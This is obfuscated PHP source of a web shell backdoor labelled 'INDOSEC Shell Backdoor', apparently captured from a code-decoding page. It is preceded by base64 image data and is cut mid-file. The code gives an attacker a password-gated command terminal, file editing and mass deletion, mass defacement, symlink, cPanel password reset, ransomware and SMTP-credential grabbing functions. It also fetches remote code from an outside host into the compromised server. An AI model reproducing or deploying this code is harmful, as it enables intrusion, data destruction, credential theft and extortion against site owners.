nJ6z24FPPW9v5q1OO1ULVxDzuNhpLC77lCxJK7wba5wHhWNzazvl0/X+H/gf3OtqFmTTK83O+5gwKigXwHuf9HP/v2n8IiYceccTmf/zet3xBo/XbwTbq/adnJy6oSRDSkNh7q9g9A3cjProbQ0ePOW8vmyZu/vSDmnwCUCrAymIGpev/IDq8ZTWWmXfdrl0vWljHrpOfrHnMje9Oozx3XUk+CSh/Kjhbc73v1/q/F39/8yVmvvhsw/IFAaU9AHBrPWDw8FGr7ef4Xy2XUPjrKgrTU1j8/SwyP5/xLVdQafrtYD2RRLi3z2pXinkYy0tWOxSJOh7GWFnKoFpaXR/Q+xMI961eIVRKxbqXbLW57JjVKso351zPBXYC3fR2cNM9gLG8CGN5se7+arm05k0fI7vseGawlVykdfhmkHAogHAogHAogHAogHB0aObLqj/0npdefVNPDoh9Sa93RNGrcBuAZvpwHb2QyZwCcEL5BxPlcAgQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQDgUQjvKfiCGNUygWMT4+3rb8w6nUGfYAbaJQLKJYLLQt/3AqdebJI0eepgBtoFOKD3AOsOF0UvEBCrChdFrxAQqwYXRi8QEKsCF0avEBCuA7nVx8gAL4SqcXH6AAvtENxQcogC90S/EBCqCcbio+QAGU0m3FByiAMrqx+AAFUEK3Fh+gAC3TzcUHKEBLdHvxAQqwboJQfIACrIugFB+gAE0TpOIDFKApglZ8gAI0TBCLD1CAhghq8QEK8L8EufgABViToBcfoAB1kVB8gAJ4IqX4AAVwIan4AAVwIK34AAWwkFh8gAIAkFt8gAKILj4A/AcW1XLIRpgWvQAAAABJRU5ErkJggg=="; } else { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAV2ElEQVR42u3deZgU5YHH8bequudmZoCBURDkBkHFoIsnXlyKB/kjmt0kPsm6eZ7sZaLrhcZookGOAUXRKCbrHu6zz6Pxj0RdshFQDsEcatZEFDlmGlCuGZi7u6u7jn3frm5thhlmqt6aqvft/n186unuYZh+afv9dnX32zUKAYCipYQ9AAAIDwIAUMQQAIAihgAAFDEEAKCIIQAARQwBAChiCABAEUMAAIpYQQVg8epO9u+po9s5iqKMoqdsKw97XECIbRMS1QiJ0E1TCRk9VO2wbPLMqm9W2GGPrZgVRADoxI/Sk2vppP8benoFcSJQQbdo2GODU7EYzJ6oWdVlysN3XFe2NOzxFDPpA0An/2J68mM6+c+lp5GwxwP9YwG4eJJGxg7XzK6E+VAiTVbctagcewIhkDYAi1d1DKOjX6so6tfpRS3s8cDA5QIwrk5j5y09ZT6oacrKb19VhggETMoALF7dMYYO/TX6qH9B2GMB9/ID4Fy2bcMwl2iatupbc0qtsMdXTKQLwM2r2kfQR/1NdPKfF/ZYwJueAXC+ZhMagXtoBJ6gEcCeQECkCsCNK1pKNC36sqJqXw17LOBdbwFwvk4jYJp3a6r2JCIQDGkCcNPKE4ptW7dp0bL/CHsswIcF4JJeAuD8WWZP4L7s0wFEYJBJEYAblh1R6D2jUiut/DPd/R8f9niAz+kC4Pw52xOwHtRUdTkiMLikCMD1j+5XLSv9jbLqM14KeyzAr78A5L6HPh14mEbgp4jA4BE+ANfe976a7DisDZ9w6RtqpHRB2OMBfgMJQO77aAR+TCPwKCIwOIQOwOzbX1bKa0apdJgjas6auUshSk3YYwJ+XwRgRP/LN9g6ARqBR2gEliIC/hM6ABd+80WlrGZU5NiuN6+YfsOjGwgW/BQENwHIfr9JI/AjvCbgP6EDMPOWtWrLni3RyroJf33O9Q+/SL+khj0m4Oc2ANm/YxmG8aCmaQ1YLOQfYQMw+oKvKUPHzdY++tV9JVPnL/nBtOseWiryeGHgvATA+XuZtwjvpRFYjT0Bfwg7oc449yZl6NiLIp+sf6R06oIHHpy28IcPhD0m8IfXADh/F4uF/CRsAEZOW6AayY7IidjvymgAHqABWBL2mMAfPAFw/j6WDftF2ACMmHyNmtY7o20H3iunAVhCA3B/2GMCf/AGwPkZmQiwDxCtRAS8EzYAdROv1IxUV7Tt4Ae5ANwX9pjAH34EIPdz6NOBhzRVfRwR8EbYAAyfcDkNQLyk/bM/sQDcjwAUDr8CkPtZ2XUCjyEC7gkbgGHjL9NONO0ooWdzewD3hj0m8IefAcj+PDu7YhARcEncAIy7VDsRe7eUOAG4HwEoHH4HIPszzexnB5YhAgMnbACGjrtYa439HgEoQIMRgOzPZcuGf0gjsAIRGBhxA3D2bK11/x++CMBUBKBg5AIw3ucAOD8bhxdzAwGAwA1mAJyfj3UCA4UAQOAGOwDOdWDF4EAgABC4IALgXA8OL9YfBAACF1QAnOvC4cVOBwGAwAUZgNz14fBivUMAIHBBByB3nTi82KkQAAhcGAHIXi8OL9YDAgCBCysA2evG4cXyIAAQuDADkL1+HF4sCwGAwIUdAGcMOLwYgwBA4EQIgDMOLBZCACBwogTAGUtxLxtGACBwIgXAGU/xHl5MjgDMRwAKSSYAk8UJQG5MxXh4MQQAAidiAHLjKrbDiyEAEDhRA5AdW1EdXkyKAExBAAoKC8ClggYgO76iObwYAgCBEz0A2TEWxeHFEAAIXO5dgAkjxQ2AM87CP7wYAgCBYwE4b4xGzqeb6A+thb5OAAGAwLEATKpXycWTIpnzoivkFYMIAASOTfq6KoVcNzNKLEmmU6EeXgwBgFBE6dP/m2dFSUlE2LvgKQrx8GLC3voIQGFjewFzpmpkzHCxXwjsbdyFdHgxBABCwSZSfY1C5p3LXgcQ9m7Y59gL5fBiwt7yCEARoFPnWhqA+mo17JG4H3qBHF4MAYDQsEfS2kpCFp4XJZoq7F3xdOOX/vBiwt7qCEBxYO8CTBypkksmRgS+N/bty8OLqQ3fmlMm3WIhYW9yBKB4sD2B6aNVMvPsiLh3yNOO3zm8GFGU1d++qlyqPQFhb+9aGoA2BKBosD2Bc85UyQU0Aqp8LwlkIpDU03e3delP3r14uDQRQABAGBbdgR5eoZMLxhByZt0Q4ZcJ98TGe7y1657DLV1PLPvOWCmGjwCAcBLth8iZQwxy/uR6Uj+skpSWaJmnCTb7T/BpZdEBHm1pX/Jp05GVL9x1vuCjRQBAQGx3OnHiANET7aS6opTUDa0gI2rLSWV5CampKiWK4O8Y2HRPZv/nR24/dOjwv7+6dK7QERD2luwZgCkIQFGx6SxKtMSIkY47j/7sUD3EOZVBZST1SNRqXxrvbLU2/+I7wg4aAQBh2ZZJ4i1NxDJ1IvBdtVexHT//yYTzr1ma7G4z3/2vfxT27UFhb1UEABjbMkh3c2MmBjKJ7XjhsdbGLY9PvPy76e4T+63dm58Vci8AAQDhmYZO4sdjRPhXAPPEdqx7fP+Ony+bsuAhPdF6wDj4x/8UcvAIAEjBTMVJ/MRBQiR5c5AGYDkNwPLasbOT5UPHpg9/+KqQTwMQAJCGkezMvEUow54ADcAKGoAVNWNmJcpqRqePfvS6kM9h5AnAAgSg6CkKSSfaSbLjcNgj6Vds+7qV+3e8sKK0+oxEzeivpI598hsEwA0EAHqnkFT8OEl1tYQ9kNOKbX++IUYDQM8mRkxbqDfv+i0C4AYCAKejdx6jIWijOwVi3oWdAKxzAjB1gd786ZsIgBsIAJxO5sM3HUeImezKPDUQTWz7c18GYMp8vXn3BgTADQQA+sNWCybbDhHTSIY9lFNkArA9F4B5NAAbEQA3EAAYCBaBeOvnxDbTYQ/lJLHtP6MBeB4B8AoBgIGyLIMkWAQEWi2IAHBCAMANy0gJtUag6R0WgOeyLwLO15s/xWsAriAA4JaZTpJk+xEiwmpBBIATAgBeGKl45i3CsDW982xD7B0EwDMEALxRSFrvIqnOllDv3U4AfoYAeJUfgMkIALjClgy3ZRYKhbVGILbtmbwAYCGQawgA8NK7TxCD7g2EcTd3AvAsAuAVAgC82EHEUp3HiZlOBH7dTQgAHwQA/MCWDOudzZm3CYPUtG0tAsADAQC/ZJYMdzQT2zQCu04nAM9kA7CQBgCfBnQFAQA/sdWCyY4W55jdAWja9nRDbBsC4BkCAH6zjDRJsrcHA1gohABwQgBgMLDXApJdxwf9epq2sgCszR4Q5Dq9edf/IgBuIAAwWMy0TlLdrYN6HU1bn2poQgC8QwBgMBmpBEnF2wftiEKZAGx9GgHwCgGAwZZOdhNjkI4o1LR1DQLAAwGAIKQSncSkewN+z4SmLfkBuJ4GAEcFdqV2LA3AAQQABh97KmD6vFDICcBTCIBXCAAEha0WTMU7iOXjYcWatjyJAPBAACBIbLVgqrud2JY/C4UaMwFY4wTgnEV68yfrEQA3EAAIGjumYKq7I7NHwKtxyxNfBGAkDcAxBMCdkwIwDwGAYLAlw6l4J+FdLZgJwBYEwLOeAZiMAEBALNMg6UQn189wAvAkAuAVAgBhYp8bSCW7PC8Uaty8GgHggQBA2NiSYUP3tkbg5ADcQAPwPwiAGwgAiMBIJTMhcDtVGjevogF4AgHwCgEAUaTpXoBzRKGBTxcEgBMCAKJg7wcYyTixzIHPYScAqxEArxAAEAlbGsD2BAb6+wcb327IC8CNNABvIABuIAAgGrZAKJ1MDGihkBOAVU4AptMAfIwAuIIAgIjYUuGUniT9LRTKBGAzAuAZAgCismgEjH4iwALQiAB4hwCAyCyTRiDz9mDvEWh8a2VeAG6iAXgdAXADAQDRsXcF0qlUrwcUcgLQgAB4hQCADEwaATN96nEEGt9agQDwQABAFqZhZEKQLxOAt1ciAF4hACATI20QK2+NwEkBmHGzfmznawiAGwgAyIT9JmIzbRLbcl4U3PfWchqAFQiAV7IFgK0NGfxfOAUMu9MO0uH8ubAFQqbhRAAB4JQfgEmCB8C0CPmna20yZzISEIRtexTy7FsK0dSwR3KqTATSFtm36fEvAlB/7mL96Ee/RgDckC0Ad8yzyVVTEIAgbNmtkLUbxQwAwyKw582lDfs2LUcAvEIAoC+iB4BhAdi7cRkC4BUCAH2RLwBfpQH4FQLgBgIAfZEuAOfRAPwFAXAFAYC+IAD+QQB8gAAECwHwDwLgAwQgWAiAf+QJwHyBA0Dn/R1zaQCmIgBB2PIpDcAmGgBh7700ABsQAC4yBYCt/rxskk0mjAh7JMWhsZmQHXsVogp770UAuMkUAAaP/cES9o6bhQBwki0AAPkQAE4IAMgMAeCEAIDMEABOCADIDAHghACAzBAATggAyAwB4NQzAJMQAJDIXgSADwIAMkMAOMkWgAH8vkjwkYjHBMyHAHCSKQBsKfAVU2wyZWTYIykOu48R8s5usZcCIwCcZAoA+zTg9+fhw0BBYR8GelrwTwMiAJwQAOgLAuAfBMAHCECwEAD/IAA+QACChQD4BwHwAQIQLATAPwiADxCAYCEA/kEAfIAABAsB8A8C4AMEIFgIgH8QAB+wAPzDNTaZg6MCB2LbboU89zYC4AdhA1BDA9AuSQAYFgEsBw4GWwYs8uRnTgoAfjWYe7IFACAfAsAJAQCZIQCcEACQGQLAKT8AE+ciACAXFoB9mxAAzxAAkBkCwAkBAJkhAJwQAJAZAsAJAQCZIQCcEACQGQLASaYAsBWAlXSkJZGwR1IcUgYh3brYBwZFADjJFAC2DPgHC2wyfwbWAgdhw06FPPWm+J8FQAA4yBaA78+3ydX4NGAgNrNPA25AAPyAAPgAAQgWAuAfBMAHCECwEAD/IAA+QACChQD4BwHwAQIQLATAPwiADxCAYCEA/kEAfIAABAsB8A8C4INMABbYZO40BCAIm3bRAGAdgC8QAB+wlYCT620ysjrskRSHYx2E7DmqYCWgD4S9CXsGYKLAAQDoaR8CwAcBAJkhAJwQAJAZAsAJAQCZIQCcEACQGQLACQEAmSEAnBAAkBkCwAkBAJkhAJwQAJAZAsBJtgAY9H+vWWArgTV674hoYY9CTggAJ5kCYFmE3DzLJrPOLqwCfLBfIa99oBBV4DX3okIAOJ0SgHniBiB3UNBC+zQg+9Sd6AffFNW+jQgAFwQgfAiAdwgAJwQgfAiAd/kBGEkDcAwBcAcBCB8C4B0CwAkBCB8C4B0CwAkBCB8C4B0CwCk/ABMkCMCdBRqANQiAJywAjQiAdwhA+BAA7xAATjIFgC0E+sZlNrl0QmEF4N1Ghfz3DiwE8gIB4CRTABj2K6vZnkAhYY/8+JXn3iAAnGQLAEA+BIATAgAyQwA4IQAgMwSAEwIAMkMAOCEAIDMEgBMCADJDADghACAzBIATAgAyQwA4IQAgMwSAEwIAMkMAOCEAIDMEgBMCADJDADj1DMAEBAAk0ogA8EEAQGYIACcEAGSGAHA6KQDXIgAgl0wA3kIAPEMAQGYIACcEAGSGAHBCAEBmCAAnBABkhgBwQgBAZggAJwQAZIYAcEIAQGYIACcEAGSGAHBCAEBmCAAnBABkhgBwQgBAZggAJwQAZIYAcEIAQGYIAKf8AIxHAEAyLABNCIB3CADIDAHghACAzBAATggAyAwB4IQAgMwQAE4IAMgMAeCEAIDMEABOCADIDAHghACAzBAATjVjaAAOIgAgp5MCMIMGYCcC4Er1mL/SOg7+EQEAKeUHYMSMxXrzzl8jAG5Un3Wh1vHZ+wgASOmkAEy/SW/++HUEwI2qURdoXYf+LxOAcdfcf8fEeT96WOTxAuSx92187NHY2yvW0vOJummL9JZd6xEANyrrZ2jdR3dmAnD2lf/y9UkLH2U3phr2uAAGwNr724fv2L/1iZfp+cSwyfP0E3s2IgBulA+fpCWO780E4KxLvjdn6o2rXiWKooU9LoB+2bb56Rv3fO2z363bRi8lasddobfF3kEA3CitHaPpbQdL6Nny2nGXnzXr79ZvU1StOuxxAfTHtsyOD/510Zy22PbP6MXEkNGzUp2ff4AAuFFSVa8RRS1JdR4uV7WSIZfd+/FLpUPOmBP2uAD6o3ce2bajYfptlpnqLB82PqFGylLdxz5BANyIlNVq9BE/mo4fL6cXqybMf+TWcVffuyrscQH0J7a54Z7GDT95hZ7tKq0enVC0SDrZuh8BcEONlquKGo2aekcmAGW1Y+suvvO9N7RoxeiwxwbQFzMd//z3ay66Mdl2oIVe7IpWjkjQ03S6u9kKe2y9ETYARNVUVY1GLCNZRi9V0m3IpEXLbxl7+T//NOyhAfTlwPZnHtq7fskv6dlOunVHSquTtm0ZZqoLAXA7Nq10SMTUO9k7ASwAVdGKYTUXfm/T6oq6yVeHPTiAnuIteza/v27u3en4iXZ6sYtu3SVV9Tq9bNhW2g57fL0ROgD0KYBGb7jMOwF0q2Jb1RnnnvmV7/7m+Wj50IlhDxAgJ51o3fenX1z/911HPjpMnMnPtgR9EEuZepfJ3hsMe4y9ETkAbHgqfSoQJZaRexqQ2arHzB57/m2vrCqprJsc9ggBUt0te/780q33dBz8wwF6sTu30V1YtvufJlZayN1/RvAA0PEpWoTYZv5eAItAeUXdlOEzbn3x7qpRM+cqdF8h7IFC8bHp7O469OGmna/cvjresvs4/RJ7wY9N/syjP3v7zzKSBvvWsMfaF/EDkFn+q0TpbcheC6ggTgDYaRn7+tlX3nXl2Dl33h4pHzpewUpBCACd+KaRaG06sG3Ni/u3PrmVfiVNv5ykW5w4AYjTPVedWPTRn9js0R8B4KBmN7YXwJ4KVGQ3tkfAohCNlNWU1M+85cJRF/3t3Iq6SecpkdJaulNQSrdI2IMH+bFX8emm24beFm/Z+5dD7/3bpqMf/vJ9I9meon/MJr9OnEf/eHZL0mevKTr32eQXdvefkSEADAsAm8y5CJRnt7Ls16LsexStJDJk1MyaqvoZ47TSIcO1aPkIWuKSsAcPErPMlJlONJt65/GuoztjnYc+bLfNFNutZxObTX4WAfbon8huyezXct8jNFkCkH0q8EUEMh8SIk4AMnsB2U3Lfp+StwHwsvM2NqnZqr40+fLRPxcAdj5/8gu7658j0wTJjwCb7KU9tmj2zxAB8FNvk59N8Nzkz9/SRKLJz8g2OXIRYJM896hfkrdFyKkRkPHfCWKw807zJz/bUnlbbm/AJBJNfkbGiZGLQH4IInmn2AsAv/T16J/bA8id5ia+VJOfkXVi5E9srZctFwgEAHj0DEAuAj23/O+TiuwTI3+Cq+TkiY+nAMCr51OA/BDkLks58XMKZWLkT/Sej/qF8m+EcORHoOeEl3bi5xTq5CjUfxeES/oJ3xMmCkARQwAAitj/A3tLUh6QkRN4AAAAAElFTkSuQmCC"; } goto RynAI; QkJDe: if (strlen($file) > 25) { $_file = substr($file, 0, 25) . "...-." . $ext; } else { $_file = $file; } goto C9fc3; RynAI: echo "" class="ico2"></img>"; goto QkJDe; Wa24m: if (is_writable($path . "/" . $file)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $file)) { echo "<font color="red">"; } goto SE_My; WpZsQ: if (!is_file($path . "/" . $file)) { continue; } goto a2pTn; GwpMa: $ftime = date("d/m/y G:i", filemtime("{$path}/{$file}")); goto WpZsQ; a2pTn: echo "<tr class="text-center"> 
\xa		\x9\x9			<td class="pinggir"><img src=""; goto CIjmO; SE_My: echo perms($path . "/" . $file); goto FrNqh; C9fc3: echo " <a href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">" . $_file . "</a></td> 
\x9\x9			\x9\x9<td>" . formatSize(filesize($file)) . "</td> 
\xa		\x9\x9\x9	\x9<td>" . $ftime . "</td> 
	\x9\x9	\x9	\x9<td><a href="?dir=" . $path . "&aksi=chmod_file&file=" . $path . "/" . $file . "" class="text-center">"; goto Wa24m; aH573: } goto yhEJG; KOm7m: function aksiMasdel($dir, $file, $imgfol, $imgfile) { goto jS6PS; OXuiS: exit; goto uI4h7; OsYeX: if ($_POST["start"]) { goto VV5JB; VV5JB: echo "[ <a href='?dir={$dir}'>Kembali</a> ]\xd 
	\x9<textarea class='form-control' rows='13' disabled=''>"; goto B1yel; yRFRT: echo "</textarea><br/>"; goto tXDAr; B1yel: hapus_massal($_POST["d_dir"], $_POST["d_file"]); goto yRFRT; tXDAr: } else { echo "<form method='post'>\xd\xa\x9	\x9<h5>{$imgfol} Lokasi :</h5> 
\x9	\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br/> 
\x9\x9\x9<h5>{$imgfile} Nama File :</h5> 
\xa			<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/> 
\xa			<input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'> 
\xa\x9</form>"; } goto OXuiS; jS6PS: function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto YESjG; YESjG: $dirc = "{$dir}/{$dirb}"; goto TPAtN; eAL_l: if ($dirb === ".") { if (file_exists("{$dir}/{$namafile}")) { unlink("{$dir}/{$namafile}"); } } elseif ($dirb === "..") { if (file_exists('' . dirname($dir) . "/{$namafile}")) { unlink('' . dirname($dir) . "/{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if ($lokasi) { goto RPp5E; gesWc: $massdel = hapus_massal($dirc, $namafile); goto Q8i86; RPp5E: echo "{$lokasi} > Terhapus 
"; goto Epide; Epide: unlink($lokasi); goto gesWc; Q8i86: } } } } goto kyAud; TPAtN: $lokasi = $dirc . "/" . $namafile; goto eAL_l; kyAud: } } } goto OsYeX; uI4h7: } goto OBiJL; GhJRN: if ($_GET["aksi"] == "passwbypass") { aksiBypasswd($dir, $file); } goto wrsRs; qap3T: echo "\x9\x9\x9</div>\xd 
\x9\x9</div>\xd 
	</body> 
</html>"; ?> 
Did this file decode correctly? 
Original Code 
<?php 
 goto ZQ018; hn1q4: $paths = explode("/", $path); goto TYnbq; yOFw_: if ($_GET["aksi"] == "smtpgrab") { scj($dir); } goto TLIVZ; p4LcE: if (!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) { if (isset($_POST["pass"]) && md5($_POST["pass"]) == $aupas) { $_SESSION[md5($_SERVER["HTTP_HOST"])] = true; } else { login_shell(); } } goto EzpS3; t4EOb: function aksiAdminer($dir, $file) { goto GzENx; wmcT9: function adminer($url, $isi) { goto Wje3x; NnYxi: flush(); goto EmKHC; qJv2q: fclose($fp); goto MKoWR; BCGLr: curl_close($ch); goto qJv2q; KLWD0: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto sogRO; Wje3x: $fp = fopen($isi, "w"); goto q7ph0; Xk1u1: curl_setopt($ch, CURLOPT_FILE, $fp); goto E40hi; MKoWR: ob_flush(); goto NnYxi; iT8Aj: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto Xk1u1; feIq0: curl_setopt($ch, CURLOPT_URL, $url); goto KLWD0; q7ph0: $ch = curl_init(); goto feIq0; E40hi: return curl_exec($ch); goto BCGLr; sogRO: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto iT8Aj; EmKHC: } goto LP9LL; LP9LL: if (file_exists("adminer.php")) { echo "<a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { if (adminer("https://flow.sytes.net/arrow/adminer.txt", "adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat Adminer</p>"; } } goto EZ8L5; EZ8L5: exit; goto GvZfE; GzENx: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wmcT9; GvZfE: } goto Mc7Gl; hNteG: echo "Path : "; goto hhyOO; KpT3J: if ($_GET["aksi"] == "ransom") { ransom($dir, $file); } goto yOFw_; wJqsn: $default_action = "FilesMan"; goto ZW7rE; TYnbq: if (isset($_GET["dir"])) { $dir = $_GET["dir"]; chdir($dir); } else { $dir = getcwd(); } goto ibkH5; Yfk60: @error_reporting(0); goto EeAx4; gBjsA: if ($_GET["aksi"] == "disabfunc") { disabFunc($dir, $file); } goto UX23f; d8yGS: function editFile($dir, $file, $nfile, $imgfile) { goto JJafO; VkwRn: echo "<form method='POST'>\xd
\x9\x9<h5>{$imgfile} Edit File : {$nfile}</h5>
\xa\x9\x9<textarea rows='13' class='form-control' name='isi'>" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>\xd
\x9\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button>
	</form>"; goto ELdwK; ELdwK: if (isset($_POST["edit_file"])) { goto ZPFcD; ZPFcD: $updt = fopen("{$file}", "w"); goto vocA9; tko2S: if ($hasil) { goto iRXHD; fKfsI: swall($swa, $text, $dir); goto U6Plm; iRXHD: $swa = "success"; goto gFaqE; gFaqE: $text = "Berhasil Update File"; goto fKfsI; U6Plm: } else { goto BZl97; BZl97: $swa = "error"; goto ihdSj; sm6GS: swall($swa, $text, $dir); goto EI2Um; ihdSj: $text = "Gagal Update File"; goto sm6GS; EI2Um: } goto qLYiP; vocA9: $hasil = fwrite($updt, $_POST["isi"]); goto tko2S; qLYiP: } goto lOisP; JJafO: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto VkwRn; lOisP: } goto w5cNg; tlikY: if ($_GET["aksi"] == "cgi") { aksicgi($dir, $file); } goto BEmbQ; b023T: @ini_set("max_execution_time", 0); goto IxIib; zepmk: function view($dir, $file, $nfile, $imgfile) { echo "[ <a class="active" href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]
\xa\x9<h5>" . $imgfile . " Lihat File : " . $nfile . "</h5>\xd
	<textarea rows="13" class="form-control" disabled="">" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>"; } goto d8yGS; cx3uU: if ($_GET["aksi"] == "buat_folder") { buatFolder($dir, $imgfol); } goto rejeN; wDUXc: if ($_GET["aksi"] == "buat_file") { buatFile($dir, $imgfile); } goto QId2Q; Ion9F: if (isset($_GET["cmd"])) { echo "<pre class='text-white'>" . exe($_GET["cmd"]) . "</pre>"; exit; } goto hWdMx; lIdeL: echo "<div class="container">
\xa		\x9<h1 class="text-center"><a href="https://facebook.com/IndoSecOfficial" style="color:#ffffff;">{ INDOSEC }</h1>
\x9\x9\x9<center><h5>Shell Backdoor</a></h5></center>
\xa\x9\x9	<hr/>\xd\xa\x9		<div class="text-center">\xd\xa		\x9	<div class="d-flex justify-content-center flex-wrap">
\x9\x9\x9\x9\x9<a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>\xd
			\x9	<a href="?dir=" . $dir . "&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a>
		\x9\x9	<a href="?dir=" . $dir . "&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Buat File</a>
\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Buat Folder</a>\xd
					<a href="?dir=" . $dir . "&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a>\xd\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a>
\xa	\x9\x9\x9	<a href="?dir=" . $dir . "&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a>\xd
		\x9\x9	<a href="?dir=" . $dir . "&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a>
\xa			\x9\x9<a href="?dir=" . $dir . "&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a>
\xa		\x9\x9\x9<a href="?dir=" . $dir . "&aksi=cgi" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Cgi</a>
\x9	\x9		<a href="?dir=" . $dir . "&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a>\xd
\x9	\x9\x9	<a href="?dir=" . $dir . "&aksi=bctools" class="fiture btn btn-danger btn-sm"><i class="fas fa-network-wired"></i> Network</a>\xd\xa\x9	\x9	\x9<a href="?dir=" . $dir . "&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a>\xd\xa	\x9	\x9	<a href="?dir=" . $dir . "&aksi=auteduser" class="fiture btn btn-warning btn-sm"><i class="fas fa-user-edit"></i> Auto Edit User</a>
			\x9\x9<a href="?dir=" . $dir . "&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a>
	\x9\x9		<a href="?dir=" . $dir . "&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a>\xd\xa		\x9\x9	<a href="?dir=" . $dir . "&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a>
\xa\x9\x9			<a href="?dir=" . $dir . "&aksi=zip_menu" class="fiture btn btn-warning btn-sm"><i class="fa fa-file-archive-o"></i> Zip Menu</a>\xd
		\x9\x9	<a href="?about" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> About Us</a>\xd\xa		\x9\x9	<a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> keluar</a>\xd
\x9		\x9</div>\xd\xa		\x9</div>
		\x9<div class="row">
\xa		\x9\x9<div class="col-md-5"><br/>\xd
		\x9		<h5><i class="fa fa-terminal"></i>Terminal : </h5>\xd
	\x9	\x9\x9<form>\xd\xa\x9	\x9		\x9<input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | heked">
\xa\x9\x9			</form>
\xa	\x9	\x9	<hr/>\xd\xa	\x9\x9		<h5><i class="fa fa-search"></i> Informasi : </h5>
\xa\x9	\x9\x9	<div class="card table-responsive">\xd\xa	\x9\x9\x9		<div class="card-body">
			\x9\x9		<table class="table infor">
	\x9\x9\x9\x9\x9\x9	<tr>\xd
\x9	\x9		\x9\x9\x9	<td>PHP</td>
\xa\x9\x9		\x9		\x9\x9<td> : " . $ver . "</td>
				\x9\x9\x9	</tr>\xd
	\x9\x9\x9	\x9	\x9<tr>\xd
		\x9\x9	\x9\x9\x9	<td>IP Server</td>
		\x9			\x9		<td> : " . $ip . "</td>\xd\xa	\x9\x9	\x9	\x9\x9</tr>\xd\xa		\x9	\x9	\x9\x9<tr>\xd
	\x9\x9		\x9	\x9	<td>HDD</td>
		\x9	\x9\x9	\x9\x9<td class="d-flex">Total : " . formatSize($total) . " Free : " . formatSize($free) . " [" . $pers . "%]</td>
\xa\x9\x9		\x9		\x9</tr>
\xa\x9\x9\x9					<tr>\xd
\x9	\x9\x9\x9\x9\x9	\x9<td>Domain</td>\xd
			\x9	\x9	\x9\x9<td>: " . $dom . "</td>
\xa\x9\x9\x9\x9	\x9\x9\x9</tr>\xd\xa\x9	\x9		\x9	\x9<tr>\xd\xa				\x9\x9			<td>MySQL</td>
\x9\x9\x9	\x9	\x9\x9	<td>: " . $mysql . "</td>
\xa\x9\x9	\x9\x9\x9\x9\x9</tr>\xd
\x9\x9\x9	\x9	\x9	<tr>\xd\xa	\x9		\x9		\x9\x9<td>cURL</td>\xd
\x9\x9\x9			\x9		<td>: " . $curl . "</td>\xd\xa\x9\x9	\x9			\x9</tr>\xd
\x9		\x9\x9\x9\x9	<tr>
	\x9	\x9			\x9	<td>Mailer</td>\xd
			\x9	\x9\x9\x9	<td>: " . $mail . "</td>\xd\xa\x9	\x9	\x9\x9\x9\x9</tr>\xd\xa\x9	\x9	\x9			<tr>\xd
	\x9\x9\x9\x9	\x9		<td>Disable Function</td>
